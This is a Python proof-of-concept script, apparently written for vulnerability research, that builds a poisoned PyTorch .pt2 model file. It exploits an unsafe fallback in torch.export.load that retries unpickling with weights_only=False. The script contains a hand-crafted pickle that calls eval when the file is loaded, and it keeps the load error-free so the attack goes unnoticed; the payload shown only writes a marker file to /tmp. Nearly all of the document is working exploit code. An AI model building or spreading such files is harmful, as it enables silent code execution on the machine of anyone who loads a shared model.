#!/usr/bin/env python3
"""
PoC builder for: torch.export.load() .pt2 fail-open pickle RCE
(CWE-502 / CWE-94) — torch/_export/serde/serialize.py::deserialize_torch_artifact

Produces:
  model.pt2        -> malicious .pt2. torch.export.load("model.pt2") runs a
                      HARMLESS marker payload: writes /tmp/PT2_RCE_POC.txt
  benign.pt2       -> control: a normal exported program (scanner baseline)

Mechanism
---------
torch.export.load() unzips the .pt2 outer archive and, for the packaged
example_inputs, calls deserialize_torch_artifact(bytes) which does:

    try:    torch.load(buffer, weights_only=True)     # safe path
    except Exception:
            torch.load(buffer, weights_only=False)     # <-- UNSAFE fallback

The example_inputs blob is itself a torch save archive (a nested zip:
clean/data/sample_inputs/model.pt). We replace that nested archive's
`archive/data.pkl` with a pickle whose first opcode is a NON-allowlisted
GLOBAL (`__builtin__.eval`). Under weights_only=True the safe Unpickler's
find_class() rejects it and raises -> the except branch fires -> the SAME
bytes are re-loaded with weights_only=False -> the reduce runs arbitrary code.

The reduce returns `(<side-effect>, ())[1]` == () (empty tuple), so
deserialize_torch_artifact's post-check `isinstance(artifact,(tuple,dict))`
passes and torch.export.load() returns a normal ExportedProgram with NO error
-> fully stealth.
"""
import io
import os
import struct
import zipfile

import torch
from torch.export import export, save

HERE = os.path.dirname(os.path.abspath(__file__))

# Harmless proof-of-execution marker (NON-destructive).
MARKER = "/tmp/PT2_RCE_POC.txt"
PAYLOAD_SRC = (
    "(open(%r,'w').write('pwned via torch.export.load .pt2 fail-open fallback'), ())[1]"
    % MARKER
)


def build_benign(path):
    class Net(torch.nn.Module):
        def forward(self, x):
            return x + 1.0

    m = Net().eval()
    ex = (torch.randn(4),)
    ep = export(m, ex)
    save(ep, path)


def make_malicious_inner_pt(template_bytes: bytes) -> bytes:
    """Take a real torch-save archive (the sample_inputs model.pt) and swap
    its archive/data.pkl for our fail-open RCE pickle, preserving all other
    entries so the container still looks like a legit torch archive."""
    payload = PAYLOAD_SRC.encode()
    mal_pickle = (
        b"\x80\x02"                       # PROTO 2
        b"c__builtin__\neval\nq\x00"      # GLOBAL '__builtin__ eval' (NOT allowlisted)
        + b"X" + struct.pack("<I", len(payload)) + payload + b"q\x01"  # BINUNICODE payload
        + b"\x85q\x02"                    # TUPLE1
        + b"Rq\x03"                       # REDUCE  -> eval(payload) executes here
        + b"."                            # STOP
    )
    zin = zipfile.ZipFile(io.BytesIO(template_bytes), "r")
    out = io.BytesIO()
    zout = zipfile.ZipFile(out, "w", zipfile.ZIP_STORED)
    for item in zin.infolist():
        data = zin.read(item.filename)
        if item.filename.endswith("/data.pkl") or item.filename.endswith("data.pkl"):
            data = mal_pickle
        zout.writestr(item, data)
    zout.close()
    return out.getvalue()


def build_malicious(path):
    # 1. Build a clean .pt2 to use as the container template. The archive's
    #    internal top-level dir is derived from the file stem, so build the
    #    template with the final stem ("model") for a clean-looking container.
    import tempfile
    tmpdir = tempfile.mkdtemp()
    tmp = os.path.join(tmpdir, "model.pt2")
    build_benign(tmp)

    # 2. Open the outer .pt2 zip, locate the nested sample_inputs model.pt,
    #    swap in the malicious inner archive, rewrite the outer zip.
    zin = zipfile.ZipFile(tmp, "r")
    out = io.BytesIO()
    zout = zipfile.ZipFile(out, "w", zipfile.ZIP_STORED)
    replaced = False
    for item in zin.infolist():
        data = zin.read(item.filename)
        if item.filename.endswith("/sample_inputs/model.pt"):
            data = make_malicious_inner_pt(data)
            replaced = True
        zout.writestr(item, data)
    zout.close()
    zin.close()
    assert replaced, "did not find sample_inputs/model.pt to poison"
    with open(path, "wb") as f:
        f.write(out.getvalue())
    os.remove(tmp)


if __name__ == "__main__":
    mal = os.path.join(HERE, "model.pt2")
    ben = os.path.join(HERE, "benign.pt2")
    build_malicious(mal)
    build_benign(ben)
    print("built", mal)
    print("built", ben)